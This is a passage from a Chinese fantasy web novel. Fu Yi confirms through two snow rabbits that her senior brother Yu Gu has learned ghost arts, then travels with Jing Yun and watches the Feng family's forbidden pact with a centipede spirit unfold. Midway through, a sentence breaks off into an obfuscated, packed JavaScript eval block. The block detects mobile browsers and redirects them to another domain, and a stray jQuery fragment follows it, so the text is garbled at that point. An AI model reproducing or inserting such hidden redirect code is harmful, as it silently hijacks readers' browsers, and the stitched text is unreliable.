她要知晓,余故究竟因何入魔。
她也需要知晓这些天山雪莲为何如此,装作毫不知情的疑惑模样问余故:“大师兄,雪莲为何会全然枯萎衰败?可是虞山气候所致?”她话里话外都在为余故找借口,给了他个台阶下。
倒不是为了别的,他们还未探得小院当中的神仙,还未弄清楚余故死去的真因。
“许是虞山非雪山,承载不了如此多的雪莲吧。”他解释得并不心虚,但敷衍。
这也只引来茯意的淡淡一笑,便将此事揭过,她看的清清楚楚,那雪莲上的黑气,全部都是淡淡的鬼气。
那并非千年后的余故所为,而是阵中千年前的余故,雪莲上的鬼气淡淡,并非他们之前所见的森森鬼气,由此判定她大师兄千年前就已经习得鬼术。
这很奇怪,按理说在他死之前都应该是人修凡身,怎会入魔呢?看来得在阵中多待一阵子了,把所有都弄清楚。
茯意小幅度低头瞄了一眼骨笛,得找个空将大师兄引开,她好操控着雪兔,问清楚方才情形。
那两只雪兔经两位药修合力,已全然康复,只是迫于大妖茯意的压迫感,哆哆嗦嗦趴在地上,不敢嘤叫、不敢逃跑。
看着这番景象,茯意叹了口气,释放了些安抚气息给他们。
雪兔们不再畏惧她,安生趴在雪地上,等待着询问。
虞山上雪越下越大,从簌簌小雪变成鹅毛大雪,他们不宜久留这里,“大师兄,不若你与景修者去找一找避雪之地,叫我与这小兽待会儿。”她大师兄最清楚她喜欢一切毛茸茸。
应是理解的。
果不其然,两声:“好。”
景韫快速与她交换了视线,得到放心的意思,才和余故一齐转身。
余故怕也是怕她再问,与她待不下去了才毅然转身。
余光瞧见他们走远了些,才吹动了骨笛,骨笛声响不算太大,加上她开了隐声术,临时阻断了骨笛与余故的羁绊,想来余故是听不到也感知不到了。
骨笛几乎里面将雪兔的意志迷晕了来,雪兔们在骨笛的操控下异常听话,她问一句,它们便答一句。
“你们遭受雪莲攻击可感知到那股力量来自于何处了?”她尽全力将语气变得柔和,不至于吓到了那两个刚经历了生死的雪兔。
两只雪兔异口同声答:“方才那位药修身上。”雪兔闭着眼睛,一字一顿着,说出口的话异常清晰。
果真是那余故。
她大师兄。
这两只雪兔本要化成人型,却遭此一劫,修为倒退百年,茯意叹了口气,为此惋惜。
出手将自身所剩无几的灵力给予它们。
算作补偿罢。
灵力抵消了它们损耗的百年修为,望它们早日化成人形,向上向善。
“去吧,愿你们早日成人、安稳一生。”她缓声悲悯道。这世道的小妖众多,大多心思单纯、灵力低微,似这雪兔一般,不辨善恶,不辨鬼魔。
方才若是已化形的灵兽闻见淡淡鬼气,也该吓跑,不会傻到往上面跳,雪兔不一样。
它们实是太单纯。
雪兔们蹦跳着离开前回首望了她一眼,眼神里是感激。
傻兔子,心里只知道崇善。
解决完了这边事情,她撤了隐声术,抹去嘴边因用力过度而流出的血迹,轻咳两声,将口中血迹咳了满地。
骨笛被吹响。
来的人不是余故,而是景韫。
他目光沉沉,多是些不满,他又在不满她滥用法术吗?他究竟在不满、不愿意什么,她想知道,真的很想知道景韫如今还会爱上她吗。
可谁的一生是离了爱过不下去的。
这个问题不该她来问。
这是不对的。
她强撑着没有倒下,总不能次次靠他人吧,她唯有靠自己,夺得自己所想,实现自己所愿。
“你来了啊。”后面尾音很轻,几乎让人听不见,她扯唇笑着,指着远处雪兔给他看,“他们被耗了百年修为,我不舍得。”
“他们是好妖。”茯意抬手拂去唇角鲜血。
许久没有等到景韫开口回应,只等到了一声叹息,他在为她的倔强叹息吗。
或许是吧。
一声叹息后,他略微无奈的声音才传来,“他们是好妖,你不是吗?你总这样,你总不为自己考虑,你说药灵该怎么办,你总这样。”他连续重复了两遍。
似是已无奈至极了。
“往后不许如此,若要助他人也要顾忌着自身。”他的语气听起来冷硬,可茯意清楚、也明白,这是浓厚的关心。此话说罢又复言道:“可还走得动?我背你罢。”
茯意拒绝了,她得靠自己。
而非是全身心依靠他人,虽然他是个极其可靠的人,可她不能。
她是神女,担当救世之任,怎能把众任全然加到他人身上,全然依靠他人呢。
“修者可放心了,我体内有仙力、妖力,二者总有一者支撑着我。”她露出轻松的表情,问:“他呢?”提及他,茯意便是冷声冷语,她不可能对一个冷血冷情的人心存幻想。
她总看得透这些。
景韫倒也未曾勉强,拿出帕子为她擦干净了嘴角的血迹,简单为其疗伤。
二人才一路踏雪,朝着临时找的避雪处而去。
山间小溪被冻上,自是听不到潺潺流水声,只来得及听见阵阵风儿呼啸声,雪落无声无息,只看得见,茯意伸出手去接,雪花融化在手心里,什么也不剩了。
如同那一年她去到景韫身亡之地,见到他最后一缕魂魄之时,那缕魂魄便就是他放心不下,强撑着等她来到。
说出了那句“好久不见”才彻底消散。
消散后是分毫也不剩了。
思绪回笼,景韫将他身上的衣袍披在了她身上,“披上吧,你刚受了内伤,天冷严寒,我属剑修,抗寒。待到那里了,叫你大师兄为你疗伤。”他动作不含糊,见她愣神片刻,应也没多想什么。
“好,修者可知晓阵中现今余故已习得鬼术?”听他提及自己大师兄,茯意将心中这个问题问出口。
景韫默然,道:“知晓。”他垂眼沉思着,随后又道:“方才我与他一齐寻避雪处,他说……你是他的,我并未搭理他。”一句话毫无控诉,只是陈述事实。
惹来茯意的挑眉,他怎像是在告她大师兄胡言的状,不过她余故是真能乱说。
这叫她日后怎去追求景韫?
“他已修成魔、又习鬼术,多是些胡言乱语,修者不必放心上。”茯意还是出言解释了,尽管景韫并不在乎。
本没想过能接到他的回复,可他却开了口:“离他远些,莫要亲近,他非善茬。”
句句叮嘱,茯意应了一声,继续脚下的路。
天又冷了,泥泞的路也快要被冻上了,到时路滑难行。
走了许久才终是走到了石阶之上,茯意被他引着往山阶之上走去,越往上便越觉寒冷,她攥紧了肩上所披衣物,想要将它褪下来,还给景韫。
天冷,她怕景韫冻着了。
毕竟……他最怕冷了。
“莫要顾我,茯意。”景韫似察觉了她内心的纠结,适时开口劝阻,“万事万物,定要先顾好自己,生存之理便是如此。”他口中所言不假,如若自己都不在乎自己,在这个吃人的世道,真的活不下去。
她也并未反驳,停下了手中的动作。
山上虽覆冰雪,可该开的山花依旧绽放在雪堆当中。
景韫施了术,雪花没有滴落他们身上,只是茯意总爱将手伸出法术外去接雪花,瞧着它们融合在手心。
千年前她也喜欢这样做,每当这时候,景韫都会将她的手轻拉回来,再拿出炉子给她取暖。
如今他看着,茯意以为他不会有什么动作,即将收回手,却被景韫递了条毛狐领子过来,“路上救一受困狐兽,此物为它赠与我的谢礼。”
当真是贴心至极。
“修者善心使然,有情有义,当真是世上最好一人。”她结果狐毛领子,将其围在手腕的,将手掌探进去取暖。
的确暖和。
不仅是手,还有心。
一路上脚下踩雪声不断,山中又十分静谧,故而声音空旷。
景韫目不转睛,盯着前方山阶,可茯意总是侧目向他看去,视线惹的他微微抿了抿嘴,眨眼过后动了动唇,却还是没吭声。
他不明白,为何她的态度转变如此之大。
明明第一次见面时,她的那般态度可谓疏远至极,半点也不愿与其扯上关系,如今竟是露出一次又一次的笑容来,叫他陷入温柔乡无可自拔,她当真是同以前一模一样。
还是古灵精怪的。
又为何会成为那稳重自持的神女。他什么也没弄清楚。
茯意也不明白,为何转世后,他竟会保留着当年种种习惯,竟从那样一个温润翩翩剑修变成了个沉默寡言的剑修,可不变的却是他依旧心怀大爱。
不偏不倚的,叫她苏醒后遇到了故人。
“趁着余故不在,且看一看逢家那边吧。”茯意莫名想与他多独处会儿,并不想与其分离。何况逢家那边情况有异,还需多加关注。
景韫听见后,轻点头,轻轻一挥袖,雪花在半空中化作一副虚空。
逢家画面接续显现,依旧是上次在逢家夫人房中所见,逢恕在一旁抹着眼泪,在听到傀儡人景韫那句话后,激动的将要跪下。茯意觉得奇怪,他面部神色实在不像个年过半百的中年男子,倒像刚三十出头。
这绝不正常。
这不寻常的一幕叫她想起了千年前一秘术,那术法早已被人修禁习,因而失传。怎会至今还有?可这两者又实在太像了,她实在忍不住去想。
秘术名曰:容颜未老术。
美其名曰,运用此术可保容颜永驻,永不呈老,可此术也有弊端,须得用一人的精血来换。
逢恕夫人这情况与此术唯一不同的便是那术是要人的精血去练蛊,而逢家夫人的精血却是被蜈蚣精给吸了去,被迫人妖融合。
二者间相似却又有不同。
她不敢断定那就是容颜未老术,与身旁景韫对视一眼,“是那禁术吗?”她
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16489560|185787||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
与语气稍有犹豫,将眼底所含疑惑呈给景韫看。
景韫定定看着她,“八分像。且接着看吧。”他话音一落,被停止播放的画面重新开始,画面上的傀儡人茯意施法将逢恕要下跪的动作拦住,出言:“还请逢家主暂且出去,我二人需加以观察。”
逢恕听及此,有些犹豫,似是不愿走出这里,开口:“我能否留在屋内,我夫人她会害怕,我得陪着她才好。”
傀儡人景韫蹙眉冷声道:“逢家家主此为何意?”幻境外的景韫却是毫无神色,连眉梢都未动一毫。
相较之下,还是幻境里的景韫更加生动一些。
逢恕见傀儡人景韫面上神色,无言以对,嘴唇嗫嚅了几下,最终还是没有开口,朝床榻上那副异象深深看了一眼才转身走了出去,似有难言之隐。
傀儡人之间没有再对话,他们本就是在茯意和景韫的潜意识里存在的,对话是给逢家众人看的,如今只有他们二人,自是不必再演。
虞山之上,茯意视线不离那幻境,淡如水般的目光平静看着。
画面里的逢夫人痛苦神色不掩,几乎要痛得在床上打滚,她即将要化形了。从半妖之身化作全妖,从全人的形态变为全妖之身,后又会转变成人,彻底成妖。
这对逢夫人百害而无一利。
他们得将蜈蚣精逼出,然后斩杀。
蜈蚣精害人,触犯底线;余故同样如此,他害人无数,该灰飞烟灭。
蜈蚣精下身不停摆动,蜈蚣之身正不停在侵蚀着逢夫人,一点一滴,密密麻麻的蜈蚣脚蠕动着,小蜈蚣在蜈蚣精身旁守护着,像是子母蜈蚣。
小虫们围着母虫,不停向它输送着力量。
傀儡人茯意施法直击着逢夫人去,将她身上那蜈蚣精生生蚀掉,蜈蚣精遭受痛苦,惨叫声四起。
是了,母蜈蚣受到伤害,子蜈蚣将一同遭受,一箭双雕。
那母蜈蚣借逢夫人口开始怒骂:“本就是你情我愿之事,何须你们修者插手?!”她怒吼着,声声惨厉,“你们去问那逢恕!去问他与我做了何等交易?!”
以她语气来看,这交易应当不假。
傀儡人茯意住了手,眉间染上阴冷,反问她:“你道你情我愿,那是你与逢恕的你情我愿,你可曾问过此女子的意愿?”女子人身自由不该被夫君所出卖。
嫁夫随夫的封建糟粕早该被去除了。
“那逢恕将此女卖身契于我,我何不能占了她的身?我给予逢恕不老之颜,他予我人身,合理合情!”这蜈蚣精死性不改,口口声声她占逢夫人身体合理合情。
说来说去,幕后真凶都是那表里不一的逢恕。面上说是对夫人情深似海,背地里却残害结发夫人至此地步,还装模作样。
简直不可饶恕!
茯意一直都知这个世代女子不易,可却从未想过有牲畜对着几十年感情的夫人也能下此毒手!可谓恶毒至极!这是几十年而非几年啊。
情意绵绵,不抵容颜永驻。
他一个男子,需要容颜是做什么?
傀儡人景韫问出了此疑惑:“逢恕可有提及与你交易的目的?”
蜈蚣精倒也算通人性,回答了:“他说要获得天下女子的芳心。”
逢恕这个两面三刀,葫芦里竟卖的是色胚药!残害结发夫人、擅自使用禁术、隐瞒真相!桩桩件件足以叫他将牢底坐穿了,眼下就是要寻证据,说服蜈蚣精去衙门对簿公堂。
画面消失,茯意眼前出现了茫茫虞山景色。他们消耗的时间够久了,若再不回去,只怕余故要生疑了。好在避雪处离得不远,也就两三里地,不多时便到了。
那是个异常破旧的草棚子。
之前这虞山上应是多放牧人,因而这种草棚子山上居多,临时当个避雪处也好。
棚子底下,余故在那儿站着,眼中无神,脸上无色,直至与茯意的视线撞上才错开了去,恢复往日神情,音色温柔:“冻坏了吧,快进来,我烧了火,暖……”话在他看见茯意身上景韫的衣袍时戛然而止。
随即沉默,不再吭声。
“好,大师兄,一齐进去吧。”茯意脱下身上衣袍,熟练递给身旁的景韫,抖落了裙摆沾上的雪,抱着那条狐狸领子走了进去。
棚子里烧着暖融融的火堆,将外界的寒冷隔开来。
“我带了干粮,用一下吧。”余故从身后筐子里翻出那粗布包着的干粮来,递给他们。
茯意经方才那爬山,消耗了大半体力,倒是真饿了,“好,大师兄当真是准备妥当。”接过两块干粮,将其中一块递给景韫,说来说去她还是不放心。
余故对她与景韫的态度完全不一致。她得用自己来试探余故。
景韫抬眼向着余故看去,开口:“多谢修者。”随即张口咬下那窝窝头,在这恶劣环境之下,能有口吃的已经很不错了。
况且这窝窝头在他……那时并不常见。
疫病四散,粮食紧缺,人命危浅。
在破旧的草棚子下,几人围坐在一处,余故忽而提起千年前的从前。
对于茯意来说,这真是悠远至极。